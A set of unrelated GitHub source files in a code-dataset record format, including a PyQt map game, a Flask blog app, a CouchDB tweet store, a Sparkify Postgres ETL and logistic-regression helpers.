return None\r\n\r\n\r\nclass TableauCarte():\r\n \"Classe servant a creer un tableau depuis un fichier passe en argument\"\r\n\r\n def __init__(self, fichier):\r\n with open(fichier, 'r') as fichier:\r\n self.structure = []\r\n numLigne = 0\r\n # On parcourt les lignes du fichier\r\n for ligne in fichier:\r\n ligneNiveau = []\r\n # On parcour les sprites des lignes\r\n numCase = 0\r\n case = \"\"\r\n for sprite in ligne:\r\n if sprite != '\\n' and sprite != ',':\r\n case = case + sprite\r\n elif sprite == ',':\r\n ligneNiveau.append(case)\r\n case = \"\"\r\n numCase = numCase + 1\r\n self.structure.append(ligneNiveau)\r\n numLigne = numLigne + 1\r\n self.largeur = max(len(self.structure[0]), len(self.structure[1]))\r\n self.hauteur = len(self.structure)\r\n\r\n\r\nclass TableauRessources():\r\n \"Classe servant a creer un tableau de ressource depuis un fichier passe en argument\"\r\n\r\n def __init__(self, fichier, nbLigne):\r\n with open(fichier, 'r') as fichier:\r\n self.structure = []\r\n numLigne = 0\r\n # On parcourt les lignes du fichier\r\n for ligne in fichier:\r\n ligneNiveau = []\r\n # On parcour les sprites des lignes\r\n numCase = 0\r\n case = \"\"\r\n for sprite in ligne:\r\n if sprite != '\\n' and sprite != ',':\r\n case = case + sprite\r\n elif sprite == ',':\r\n ligneNiveau.append(case)\r\n case = \"\"\r\n numCase = numCase + 1\r\n self.structure.append(ligneNiveau)\r\n numLigne = numLigne + 1\r\n if numLigne >= nbLigne:\r\n break\r\n self.largeur = max(len(self.structure[0]), len(self.structure[1]))\r\n self.hauteur = len(self.structure)\r\n\r\n\r\nclass ViewerCarte(QGraphicsView):\r\n \"Classe creant le viewer qui contient la map\"\r\n\r\n def __init__(self, _tableauCarte, _tableauRessource, _tileSet, parent=None):\r\n QGraphicsView.__init__(self, parent=parent)\r\n self.parent = parent\r\n self.parent.viewer = self\r\n self.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n self.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n global x\r\n global y\r\n global zoom1\r\n zoom1 = 1\r\n x = 0\r\n y = 0\r\n\r\n self.scene = Scene()\r\n self.tableauCarte = _tableauCarte.structure\r\n self.tableauRessource = _tableauRessource.structure\r\n\r\n self.curseur = QCursor()\r\n\r\n # On cree toutes les sprites\r\n self.tileSet = QPixmap(_tileSet)\r\n self.foret = self.tileSet.copy(0, 0, 173, 200)\r\n self.plaine = self.tileSet.copy(173, 0, 173, 200)\r\n self.champs = self.tileSet.copy(2 * 173, 0, 173, 200)\r\n self.mer = self.tileSet.copy(3 * 173, 0, 173, 200)\r\n self.montagnes = self.tileSet.copy(4 * 173, 0, 173, 200)\r\n self.neige = self.tileSet.copy(5 * 173, 0, 173, 200)\r\n self.plage = self.tileSet.copy(6 * 173, 0, 173, 200)\r\n self.ville = self.tileSet.copy(6 * 173, 200, 173, 200)\r\n self.village = self.tileSet.copy(6 * 173, 2 * 200, 173, 200)\r\n self.creationCarte()\r\n self.creationRessources()\r\n self.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n self.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\r\n self.resize(self.parent.largeur, self.parent.hauteur)\r\n self.setScene(self.scene)\r\n\r\n # Sans les lignes ici, le deplacement de la carte bug, va savoir pourquoi :/ ... (autant en faire en estrer egg lol)\r\n self.proxy = QGraphicsProxyWidget()\r\n self.bouton = QPushButton(\"Ester Egg\")\r\n self.bouton.setGeometry(-10000, -10000, 200, 200)\r\n self.proxy.setWidget(self.bouton)\r\n self.scene.addItem(self.proxy)\r\n # Fin des lignes contre le bug intenpestif\r\n\r\n self.scene.setSceneRect(0, 0, 1, 1)\r\n\r\n def creationCarte(self):\r\n \"Methode pour creer la carte, cette methode ajoute des tuilles a la scene\"\r\n\r\n self.tableauTiles = self.tableauCarte\r\n z = 0 # = numero de la ligne (0 en haut)\r\n x, y = 0, 0\r\n for ligne in self.tableauCarte:\r\n numColone = 0\r\n if(z % 2 == 0):\r\n x = -z / 2\r\n y = -z / 2\r\n else:\r\n x = -z // 2 + 1\r\n y = -z // 2\r\n for sprite in ligne:\r\n if sprite == '1':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.foret, self)\r\n self.tableauTiles[z][numColone].ressource.append(7)\r\n elif sprite == '2':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.plaine, self)\r\n self.tableauTiles[z][numColone].ressource.append(8)\r\n elif sprite == '3':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.champs, self)\r\n elif sprite == '4':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.mer, self)\r\n elif sprite == '5':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.montagnes, self)\r\n self.tableauTiles[z][numColone].ressource.append(8)\r\n elif sprite == '6':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.neige, self)\r\n elif sprite == '7':\r\n self.tableauTiles[z][numColone] = Tile(x, y, self.plage, self)\r\n self.scene.addItem(self.tableauTiles[z][numColone])\r\n numColone += 1\r\n x += 1\r\n y -= 1\r\n z += 1\r\n\r\n def creationRessources(self):\r\n \"Methode pour donner des ressources aux tuiles\"\r\n\r\n a = 0\r\n for ligne in self.tableauRessource:\r\n b = 0\r\n for ress in ligne:\r\n if ress == '1':\r\n self.tableauTiles[a][b].ressource.append(1)\r\n elif ress == '2':\r\n self.tableauTiles[a][b].ressource.append(2)\r\n elif ress == '3':\r\n self.tableauTiles[a][b].ressource.append(3)\r\n elif ress == '4':\r\n self.tableauTiles[a][b].ressource.append(4)\r\n elif ress == '5':\r\n self.tableauTiles[a][b].ressource.append(5)\r\n elif ress == '6':\r\n self.tableauTiles[a][b].ressource.append(6)\r\n b += 1\r\n a += 1\r\n\r\n # Fonctions pour les zooms a la souris\r\n def wheelEvent(self, event):\r\n self.zoom(event.angleDelta().y() / 110.0)\r\n\r\n def zoom(self, facteur):\r\n if facteur < 0.0:\r\n facteur = -1.0 / facteur\r\n self.scale(facteur, facteur)\r\n\r\n # Fonctions pour interragir avec la carte\r\n def keyPressEvent(self, keyEvent):\r\n key = keyEvent.key()\r\n if key == QtCore.Qt.Key_Escape:\r\n if self.parent.menus is None:\r\n self.parent.quitter()\r\n else:\r\n if self.parent.boutons.ui.wMenus.isHidden():\r\n self.parent.boutons.ui.wMenus.show()\r\n self.parent.boutons.ui.wMenus.setFocus()\r\n elif key == QtCore.Qt.Key_A:\r\n if self.parent.menus is None:\r\n return None\r\n self.parent.boutons.testVilles()\r\n self.parent.boutons.ui.wVilles.afficheCV()\r\n elif key == QtCore.Qt.Key_B:\r\n self.changer(0, 0, self.montagnes)\r\n elif key == QtCore.Qt.Key_C:\r\n self.changer(0, 0, self.mer)\r\n elif key == QtCore.Qt.Key_Z:\r\n self.zoom(2)\r\n else:\r\n print(key)\r\n\r\n def quelTuile(self, tuile):\r\n \"Methode pour savoir quel est le type de tuile\"\r\n if(tuile == self.foret):\r\n return 1\r\n elif(tuile == self.plaine):\r\n return 2\r\n elif(tuile == self.champs):\r\n return 3\r\n elif(tuile == self.mer):\r\n return 4\r\n elif(tuile == self.montagnes):\r\n return 5\r\n elif(tuile == self.neige):\r\n return 6\r\n elif(tuile == self.plage):\r\n return 7\r\n return -1\r\n\r\n def changer(self, x, y, tuile): # a modifier pour que ca marche autre part qu'en (0, 0)\r\n \"Methode pour changer la case du tile\"\r\n self.scene.removeItem(self.tableauTiles[x][y])\r\n self.tableauTiles[x][y] = Tile(x, y, tuile, self)\r\n self.scene.addItem(self.tableauTiles[x][y])\r\n self.scene.update()\r\n\r\n def addVillage(self, x, y, village):\r\n \"Methode pour ajouter un village en position x,y\"\r\n self.scene.addItem(GraphVillage(x, y, village, self.village, self.parent))\r\n # self.scene.addItem(GraphArmee(x + 1, y + 2, None, None))\r\n\r\n def addVille(self, ville):\r\n \"Methode pour ajouter une ville en position x, y\"\r\n self.scene.addItem(GraphVille(ville.x, ville.y, ville, self.ville, self.parent))\r\n\r\n\r\nclass Fenetre (QMainWindow):\r\n \"Classe pour la creation d'une fenetre (classe de tests)\"\r\n\r\n def __init__(self, parent=None):\r\n super(Fenetre, self).__init__(parent=parent)\r\n mon = mss.mss().monitors[1]\r\n self.app = app\r\n self.hauteur = mon[\"height\"]\r\n self.largeur = mon[\"width\"]\r\n self.menus = None\r\n self.setWindowTitle(\"Prototype\")\r\n\r\n def quitter(self):\r\n \"Pour quitter vers le bureau\"\r\n\r\n sys.exit(self.app.exec_())\r\n\r\n\r\n# Premier affichage de la map avec pyQt5\r\n# C'est ainsi qu'il doit etre appele dans un autre fichier\r\n# Besoin de rien d'autre que lui-meme\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n fenetre = Fenetre()\r\n tableauCarte = TableauCarte(\"Prototype2.txt\")\r\n viewer = ViewerCarte(tableauCarte, \"tileset V1.png\", fenetre)\r\n fenetre.showFullScreen()\r\n sys.exit(app.exec_())\r\n","repo_name":"ahennecart/Jeu","sub_path":"Prototype/Affichage_de_la_map.py","file_name":"Affichage_de_la_map.py","file_ext":"py","file_size_in_byte":14792,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39210202397","text":"import pexpect\nimport sys\n\ndef test_simple_command( command, expected_output = None, expected_status = 0):\n child = pexpect.spawn(command)\n child.logfile = sys.stdout\n if expected_output is not None:\n for o in expected_output:\n child.expect(o)\n child.expect(pexpect.EOF)\n child.close()\n if child.exitstatus != expected_status:\n sys.exit( child.exitstatus)\n return child.exitstatus\n\ndef create_eyedb_database( dbname):\n # test if database exists\n dblist = \"eyedbadmin2 database list %s\" % (dbname,)\n child = pexpect.spawn( dblist)\n dblistmsg = \"Database '%s' not found\" % (dbname,)\n r = child.expect([dblistmsg, pexpect.EOF])\n # if it exists, delete it\n if r == 1:\n dbdelete = \"eyedbadmin2 database delete %s\" % (dbname,)\n (command_output, exitstatus) = pexpect.run (dbdelete, withexitstatus=1)\n if exitstatus != 0:\n sys.exit(exitstatus)\n # create the database\n dbcreate = \"eyedbadmin2 database create %s\" % (dbname,)\n (command_output, exitstatus) = pexpect.run (dbcreate, withexitstatus=1)\n if exitstatus != 0:\n sys.exit(exitstatus)\n","repo_name":"eyedb/eyedb","sub_path":"tests/eyedb/admin/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"25798007563","text":"#! python3\n# customInvitations.py - The program extracts names from a text file and for each name \n# makes a custom invitations for an event in MS Word. Each invitation takes up one page in MS Word.\n#\n# NOTES: Run this program in the same location as the other two required files. Those files are:\n# 1. A text file called 'guests.txt' which contains names to be used in the invitation. One name per line.\n# 2. A Word document with custom styles 'party', 'party_name' and 'party_date' created. \n# The program can't create new styles and must load them from an exsiting Word document.\n# The result will be saved in the same location as the program, in a file called 'invitations.docx'.\n\nimport docx\n\ndoc = docx.Document('invite_template.docx')\ndoc._body.clear_content() # Clear all content from the Word doc. We just need the styles from it.\n\n# Read the names from the txt file and save them into a list.\nf = open('guests.txt')\nnames = f.readlines()\nnames = [name.rstrip() for name in names] # Strip the newline character from each name.\nf.close()\n\n# Add content and styles to the Word doc.\nfor name in names:\n doc.add_paragraph('It would be a pleasure to have the company of')\n doc.paragraphs[-1].style = 'party'\n doc.add_paragraph(name)\n doc.paragraphs[-1].style = 'party_name'\n doc.add_paragraph('at 11010 Memory Lane on the Evening of')\n doc.paragraphs[-1].style = 'party'\n doc.add_paragraph('April 1st')\n doc.paragraphs[-1].style = 'party_date'\n doc.add_paragraph('at 7 o\\'clock')\n doc.paragraphs[-1].style = 'party'\n \n # Add a pagebreak at the end of each invite.\n if names.index(name) != len(names) - 1:\n doc.paragraphs[-1].runs[-1].add_break(docx.enum.text.WD_BREAK.PAGE)\n\ndoc.save('invites.docx')","repo_name":"aojrzynski/automate-the-boring-stuff-with-python-projects","sub_path":"ch15-pdf-and-msword/customInvitations.py","file_name":"customInvitations.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6135385405","text":"\"\"\"...............................GarbageValue..........................///\n///.............Noakhali Science and Technology University..............///\n///.......Department of Information and Communication Engineering.......\"\"\"\nfrom array import *\ndef reverseList(A,start,end):\n\twhile start')\ndef show_user(user_id):\n \"\"\"Displays user details\"\"\"\n user = User.query.get_or_404(user_id)\n \n return render_template('details.html', user=user)\n\n@app.route('/users//edit')\ndef show_edit_user(user_id):\n \"\"\"Shows the edit details form to fill out\"\"\"\n user=User.query.get_or_404(user_id)\n return render_template('edit_details.html', user=user)\n\n@app.route('/users//edit', methods=['POST'])\ndef edit_user(user_id):\n \"\"\"Submits updates to user to the db and redirects back to the user details page\"\"\"\n \n user = User.query.get(user_id)\n user.first_name = request.form['First Name']\n user.last_name = request.form['Last Name']\n user.image_url = request.form['Image URL'] or None\n \n db.session.commit()\n \n return redirect(f\"/users/{user.id}\")\n\n@app.route('/users//delete')\ndef delete_user(user_id):\n \"\"\"Delete a user\"\"\"\n user = User.query.get_or_404(user_id)\n db.session.delete(user)\n db.session.commit()\n return redirect('/users')\n\n\n@app.route('/posts/')\ndef show_post(post_id):\n \"\"\"Displays a user's post\"\"\"\n post = Post.query.get_or_404(post_id)\n return render_template('post_details.html', post=post)\n\n@app.route('/users//posts/new')\ndef create_post_form(user_id):\n \"\"\"Displays the New User form to fill out\"\"\"\n user = User.query.get_or_404(user_id)\n tags = Tag.query.all()\n return render_template('new_post.html', user=user, tags=tags)\n\n@app.route('/users//posts/new', methods=['POST'])\ndef create_post(user_id):\n \"\"\"Submits form data to db, creates new user, and redirects back to users page\"\"\"\n user = User.query.get_or_404(user_id)\n title = request.form['Title']\n content = request.form['Content']\n \n tags_id = [int(num) for num in request.form.getlist('Tags')]\n tags = Tag.query.filter(Tag.id.in_(tags_id)).all() \n \n new_post = Post(title=title, content=content, user=user, tags=tags)\n db.session.add(new_post)\n db.session.commit()\n \n return redirect(f'/users/{user_id}')\n\n@app.route('/posts//edit')\ndef show_edit_post(post_id):\n \"\"\"Shows the edit details form to fill out\"\"\"\n post = Post.query.get_or_404(post_id)\n tags = Tag.query.all()\n return render_template('edit_post.html', post=post, tags=tags)\n\n@app.route('/posts//edit', methods=['POST'])\ndef edit_post(post_id):\n \"\"\"Submits updates to user to the db and redirects back to the user details page\"\"\"\n \n post = Post.query.get_or_404(post_id)\n post.title = request.form['Title']\n post.content = request.form['Content']\n \n tags_id = [int(num) for num in request.form.getlist('Tags')]\n tags = Tag.query.filter(Tag.id.in_(tags_id)).all()\n post.tags = tags if len(tags_id) > 0 else []\n \n db.session.add(post)\n db.session.commit()\n \n return redirect(f\"/posts/{post.id}\")\n\n@app.route('/posts//delete')\ndef delete_post(post_id):\n \"\"\"Delete a user\"\"\"\n post = Post.query.get_or_404(post_id)\n db.session.delete(post)\n db.session.commit()\n return redirect(f'/users/{post.user_id}')\n\n\n@app.route('/tags')\ndef list_tags():\n \"\"\"Generates a list of all tags\"\"\"\n tags = Tag.query.all()\n return render_template('tags.html', tags=tags)\n\n@app.route('/tags/')\ndef show_tag(tag_id):\n \"\"\"Shows details on a soecific tag\"\"\"\n tag = Tag.query.get_or_404(tag_id)\n # posts = Post.query.filter_by(tag_id=tag_id).all()\n \n return render_template('tag_details.html', tag=tag)\n\n@app.route('/tags/new')\ndef create_tag_form():\n \"\"\"Displays the new tag form to fill out\"\"\"\n tags = Tag.query.all()\n return render_template('new_tag.html', tags=tags)\n\n@app.route('/tags/new', methods=['POST'])\ndef create_tag():\n \"\"\"Submits form data to db, creates new tag, and redirects back to tag page\"\"\"\n name = request.form['Name']\n \n post_ids = [int(num) for num in request.form.getlist('Posts')]\n posts = Post.query.filter(Post.id.in_(post_ids)).all()\n \n new_tag = Tag(name=name, posts=posts)\n db.session.add(new_tag)\n db.session.commit()\n \n return redirect('/tags')\n \n@app.route('/tags//edit')\ndef show_edit_tag(tag_id):\n \"\"\"Shows the edit details form to fill out\"\"\"\n tag = Tag.query.get_or_404(tag_id)\n posts = Post.query.all()\n return render_template('edit_tag.html', tag=tag, posts=posts)\n\n@app.route('/tags//edit', methods=['POST'])\ndef edit_tag(tag_id):\n \"\"\"Submits updates to tags to the db and redirects back to the tag details page \"\"\"\n tag = Tag.query.get_or_404(tag_id)\n tag.name = request.form['Name']\n post_ids = [int(num) for num in request.form.getlist('Posts')]\n tag.posts = Post.query.filter(Post.id.in_(post_ids)).all()\n \n db.session.add(tag)\n db.session.commit()\n \n return redirect(f'/tags/{tag.id}')\n\n@app.route('/tags//delete')\ndef delete_tag(tag_id):\n \"\"\"Delete a tag\"\"\"\n tag = Tag.query.get_or_404(tag_id)\n db.session.delete(tag)\n db.session.commit()\n return redirect(f'/tags')\n","repo_name":"jasonscotch/blogly","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72829458053","text":"#!/usr/bin/env python\n\nimport zlib, json, os\nfrom util import tweet_text, now_tweettime, couch_fields\nimport couchdb\n\nclass DBWrapper(object):\n def __init__(self, app_path, screen_name, srvuri, dbname):\n self.srvuri, self.dbname = srvuri, dbname\n self.reconnect()\n js = open(os.path.join(app_path, 'undulatus.js')).read()\n revision = json.loads(js)[\"revision\"]\n try:\n design = self.db['_design/undulatus']\n db_revision = None\n try:\n db_revision = design['revision']\n except KeyError:\n pass\n if db_revision != revision:\n print('Note: updating javascript design document')\n del self.db['_design/undulatus']\n self.reconnect() # work around python couchdb bug\n self.db['_design/undulatus'] = js\n except couchdb.http.ResourceNotFound:\n self.db['_design/undulatus'] = js\n\n def reconnect(self):\n srv = couchdb.Server(self.srvuri)\n try:\n self.db = srv.create(self.dbname)\n except couchdb.http.PreconditionFailed:\n self.db = srv[self.dbname]\n\n def info(self):\n return self.db.info()\n \n def setloc(self, lat, lng):\n try:\n doc = self.db['latlng']\n except couchdb.http.ResourceNotFound:\n doc = {}\n doc['lat'] = lat\n doc['long'] = lng\n self.db['latlng'] = doc\n\n def clearloc(self):\n try:\n del self.db['latlng']\n except couchdb.http.ResourceNotFound:\n pass\n\n def getloc(self):\n try:\n doc = self.db['latlng']\n except couchdb.http.ResourceNotFound:\n doc = {}\n return doc.get('lat'), doc.get('long')\n \n def saved_searches(self):\n try:\n doc = self.db['saved_searches']\n except couchdb.http.ResourceNotFound:\n doc = None\n if not doc or \"searches\" not in doc:\n return []\n return doc['searches']\n\n def save_saved_searches(self, searches):\n try:\n doc = self.db['saved_searches']\n except couchdb.http.ResourceNotFound:\n doc = {}\n doc['searches'] = searches\n self.db['saved_searches'] = doc\n return doc\n\n def configuration(self):\n try:\n doc = self.db['help_configuration']\n return doc\n except couchdb.http.ResourceNotFound:\n return None\n\n def save_configuration(self, new_config):\n try:\n doc = self.db['help_configuration']\n except couchdb.http.ResourceNotFound:\n doc = {}\n doc['configuration'] = new_config\n doc['updated'] = now_tweettime()\n self.db['help_configuration'] = doc\n return doc\n\n def tokens(self):\n try:\n doc = self.db['oauth_tokens']\n return doc, doc['token'], doc['secret']\n except couchdb.http.ResourceNotFound:\n return {}, None, None\n\n def add_tokens(self, base_doc, oauth_token, oauth_token_secret):\n from copy import copy\n doc = copy(base_doc)\n doc['token'] = oauth_token\n doc['secret'] = oauth_token_secret\n self.db['oauth_tokens'] = doc\n\n def get_by_status_id(self, status_id):\n try:\n return self.db[str(status_id)]\n except couchdb.http.ResourceNotFound:\n return None\n\n def get_replies_to_status_id(self, status_id):\n return [ self.get_by_status_id(row.id) for row in self.db.view('undulatus/replies')[status_id] ]\n\n # will probably break when twitter hits 63 bit status IDs..\n def get_recent(self, n):\n rv = [ self.get_by_status_id(row.id) for row in self.db.view('undulatus/byid', limit=n, descending=True) ]\n rv.reverse()\n return rv\n\n def savedoc(self, name, doc):\n self.db[name] = doc\n\n def make(self, tweet):\n k = str(tweet['id_str'])\n doc = self.get_by_status_id(k)\n if doc is None or 'undulatus_from_search' in doc:\n if doc is not None:\n tweet.update(couch_fields(doc))\n self.db[k] = tweet\n\n","repo_name":"grahame/undulatus","sub_path":"tweetdb.py","file_name":"tweetdb.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"75008099972","text":"import numpy as np\n\nclass Grid:\n def __init__(self, width, heigth, discount = 0.9):\n self.width = width\n self.heigth = heigth\n self.x_pos = 0\n self.y_pos = 0\n self.values = np.zeros((heigth, width))\n self.discount = discount\n self.vertex_sources = []\n self.vertex_dests = []\n self.vertex_values = []\n \n def init_rewards(self, rewards):\n assert rewards.shape[0] == self.heigth and rewards.shape[1]==self.width, \"reward initialized is not valid\"\n self.rewards = rewards\n \n def add_vertex(self, source, dest):\n assert len(source) == 2 and len(dest) == 2, \"source or dest is not valid\"\n self.vertex_sources.append(source)\n self.vertex_dests.append(dest)\n\n def update(self):\n next_values = np.zeros((self.heigth, self.width))\n for x in range(self.width):\n for y in range(self.heigth):\n if [y, x] in self.vertex_sources:\n for vertex_source, vertex_dest in zip(self.vertex_sources, self.vertex_dests):\n if [y, x] == vertex_source:\n next_values[y, x] += self.rewards[y,x] + self.discount*self.values[vertex_dest[0], vertex_dest[1]]\n break\n else:\n for cur_movement, cur_prob in zip([[-1, 0], [0, 1], [1, 0], [0, -1]], [0.25, 0.25, 0.25, 0.25]):\n next_place = [y+cur_movement[0], x+cur_movement[1]]\n if 0<=next_place[0] 0.5:\n movement_x = 1\n if np.random.rand()>0.5:\n movement_y = 1\n if [self.x_pos, self.y_pos] in self.vertex_sources:\n for vertex_source, vertex_dest in zip(self.vertex_sources, self.vertex_dests):\n if vertex_source == [self.x_pos, self.y_pos]:\n self.x_pos = vertex_dest[0]\n self.y_pos = vertex_dest[1]\n else:\n if 0<=self.x_pos+movement_x0])\n return answer\n","repo_name":"hangyeol-seo/Coding_Test","sub_path":"KAKAO/2022_1st_Test/Problem6.py","file_name":"Problem6.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38341434439","text":"import os.path\nimport sys\nimport sqlite3\nimport logging\n\nimport abbr\nimport iana\nimport geonames\nimport topcities\n\nFORMAT = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\nlogging.basicConfig(level=logging.INFO, format=FORMAT)\nlog = logging.getLogger()\n\nseperator = \"=================================\"\n\ndata_path = './data/'\nlog_dir = './log/'\n\ndb_file = data_path + 'timegeopack.sqlite3'\n\n\ndef db():\n return sqlite3.connect(db_file)\n\n\ndef setup_logging():\n os.makedirs(log_dir, exist_ok=True)\n\n formatter = logging.Formatter(\n '[%(asctime)s] %(name)-10s%(levelname)-6s %(message)s', '%Y-%m-%d %H:%M:%S')\n global log\n for h in log.handlers:\n log.removeHandler(h)\n\n ch = logging.StreamHandler(sys.stdout)\n ch.setFormatter(formatter)\n fch = logging.FileHandler(log_dir + 'timegeopack.log', 'w')\n fch.setFormatter(formatter)\n\n log.setLevel(logging.INFO)\n log.addHandler(ch)\n log.addHandler(fch)\n\n\ndef setup_db():\n if os.path.exists(db_file):\n try:\n os.unlink(db_file)\n except FileNotFoundError as e:\n log.error('Unable to Delete database to start from scratch.')\n\n try:\n abbr.createTable()\n iana.createTable()\n geonames.createTables()\n topcities.createTable()\n\n log.info('db created')\n except Exception as e:\n log.exception('db_setup() - SQL ERROR: ' + str(e))\n exit(-1)\n\n\ndef setup():\n os.makedirs(data_path, exist_ok=True)\n\n setup_logging()\n setup_db()\n\n\nif __name__ == '__main__':\n setup()\n\n log.info('Configured, starting...')\n # process various data for manipulation\n abbr.process()\n log.info(\"~\" * 40)\n\n iana.process()\n log.info(\"~\" * 40)\n \n geonames.process()\n log.info(\"~\" * 40)\n\n # build any data sets we want\n topcities.build()\n\n log.info('Done!')\n","repo_name":"jessedp/timegeopack","sub_path":"timegeopack.py","file_name":"timegeopack.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"1092280830","text":"import os\nimport glob\nimport psycopg2\nimport pandas as pd\nfrom sql_queries import *\n\n\ndef process_song_file(cur, filepath):\n \"\"\"\n Retrieve the song file, in JSON format, and \n a. insert song data for the first record into the postgres songs table (dimension table)\n b. insert artist data for the first record into the postgres artists table (dimension table)\n Args:\n cur: Psycopg2 - a PostgreSQL database adapter for Python related to the cursor\n filepath - path of the song file\n Return : nothing\n \"\"\"\n # open song file\n df = pd.read_json(filepath, lines=True)\n\n # insert song record\n song_data = df[['song_id', 'title', 'artist_id', 'year', 'duration']].values[0].tolist()\n cur.execute(song_table_insert, song_data)\n \n # insert artist record\n artist_data = df[['artist_id', 'artist_name', 'artist_location', 'artist_longitude', 'artist_latitude']].values[0].tolist()\n cur.execute(artist_table_insert, artist_data)\n\n\ndef process_log_file(cur, filepath):\n \"\"\"\n a. Retrieve the first log file, in JSON format, and \n b. insert log data for the first record into the postgres time table (dimension table)\n c. insert artist data for the first record into the postgres users table (dimension table)\n Args:\n cur: Psycopg2 - a PostgreSQL database adapter for Python related to the cursor\n filepath - path of the song file\n Return : nothing\n \"\"\" \n # open log file\n df = pd.read_json(filepath, lines=True)\n\n # filter by NextSong action\n df = df[df.page == 'NextSong']\n\n # replace empty values with NaN\n df.replace('', float(\"NaN\"), inplace=True)\n\n # convert timestamp column to datetime\n t = pd.to_datetime(df['ts'], unit='ms')\n \n # insert time data records\n time_data = [(dt.timestamp(), dt.hour, dt.day, dt.week, dt.month, dt.year, dt.day_name()) for dt in t]\n column_labels = ('timestamp', 'hour', 'day', 'week of year', 'month', 'year', 'weekday')\n time_df = pd.DataFrame(time_data, columns=column_labels)\n\n for i, row in time_df.iterrows():\n cur.execute(time_table_insert, list(row))\n\n # load user table\n user_df = df.sort_values(by='ts', ascending=True)[['userId', 'firstName', 'lastName', 'gender', 'level']].drop_duplicates('userId').dropna(subset = ['userId'])\n\n # insert user records\n for i, row in user_df.iterrows():\n cur.execute(user_table_insert, row)\n \n # replace timestamp to datetime\n df['ts'] = pd.to_datetime(df['ts'], unit='ms')\n\n # insert songplay records\n for index, row in df.iterrows():\n \n # get songid and artistid from song and artist tables\n cur.execute(song_select, (row.song, row.artist, row.length))\n results = cur.fetchone()\n \n if results:\n songid, artistid = results\n else:\n songid, artistid = None, None\n\n # insert songplay record\n songplay_data = (row.ts.timestamp(), row.userId, row.level, songid, artistid, row.sessionId, row.location, row.userAgent)\n cur.execute(songplay_table_insert, songplay_data)\n\n\ndef process_data(cur, conn, filepath, func):\n \n \"\"\"\n process data from filepath\n Args: \n cur : psycopg2 link to cursor for postgres database\n conn : psycopg2 connection to postgres database\n filepath : path for the song data and path for the log data\n func : function name i.e. process_song_file or process_log_file\n Return : Nothing\n \"\"\"\n \n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files :\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))\n\n\ndef main():\n \"\"\"\n Script starts here\n Args : None\n Returns : None\n \"\"\"\n conn = psycopg2.connect(\"host=127.0.0.1 dbname=sparkifydb user=student password=student\")\n cur = conn.cursor()\n\n process_data(cur, conn, filepath='data/song_data', func=process_song_file)\n process_data(cur, conn, filepath='data/log_data', func=process_log_file)\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"daranha1/dataEng-DataModeling-Postgres","sub_path":"src/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43241982466","text":"import numpy as np\n\ndef sigmoid(z):\n\n s = 1 / (1 + np.exp(-z)) \n\n return s\n\ndef initialize_with_zeros(dim):\n \"\"\"\n Argument:\n dim -- size of the w vector we want (or number of parameters in this case)\n \n Returns:\n w -- initialized vector of shape (dim, 1)\n b -- initialized scalar (corresponds to the bias)\n \"\"\"\n w = np.zeros((dim, 1))\n b = 0\n\n assert(w.shape == (dim, 1))\n assert(isinstance(b, float) or isinstance(b, int))\n \n return w, b\n\ndef propagate(w, b, X, Y): \n \"\"\"\n\n Arguments:\n w -- weights, a numpy array of size (num_px * num_px * 3, 1)\n b -- bias, a scalar\n X -- data of size (num_px * num_px * 3, number of examples)\n Y -- true \"label\" vector (containing 0 if non-cat, 1 if cat) of size (1, number of examples)\n\n Return:\n cost -- negative log-likelihood cost for logistic regression\n dw -- gradient of the loss with respect to w, thus same shape as w\n db -- gradient of the loss with respect to b, thus same shape as b\n\n \"\"\"\n \n m = X.shape[1]\n \n # Forward Propagation (From X to cost)\n A = sigmoid(np.dot(w.T, X) + b) # compute activation\n cost = -1/m * np.sum(Y*np.log(A)+(1-Y)*np.log(1-A)) # compute cost\n\n # Back Propagation (From X to cost)\n dw = 1/m * np.dot(X, (A-Y).T)\n db = 1/m * np.sum(A-Y)\n\n assert(dw.shape == w.shape)\n assert(db.dtype == float)\n cost = np.squeeze(cost)\n assert(cost.shape == ())\n \n grads = {\"dw\": dw,\n \"db\": db}\n \n return grads, cost\n\ndef optimize(w, b, X, Y, num_iterations, learning_rate, print_cost = False):\n \"\"\"\n Arguments:\n w -- weights, a 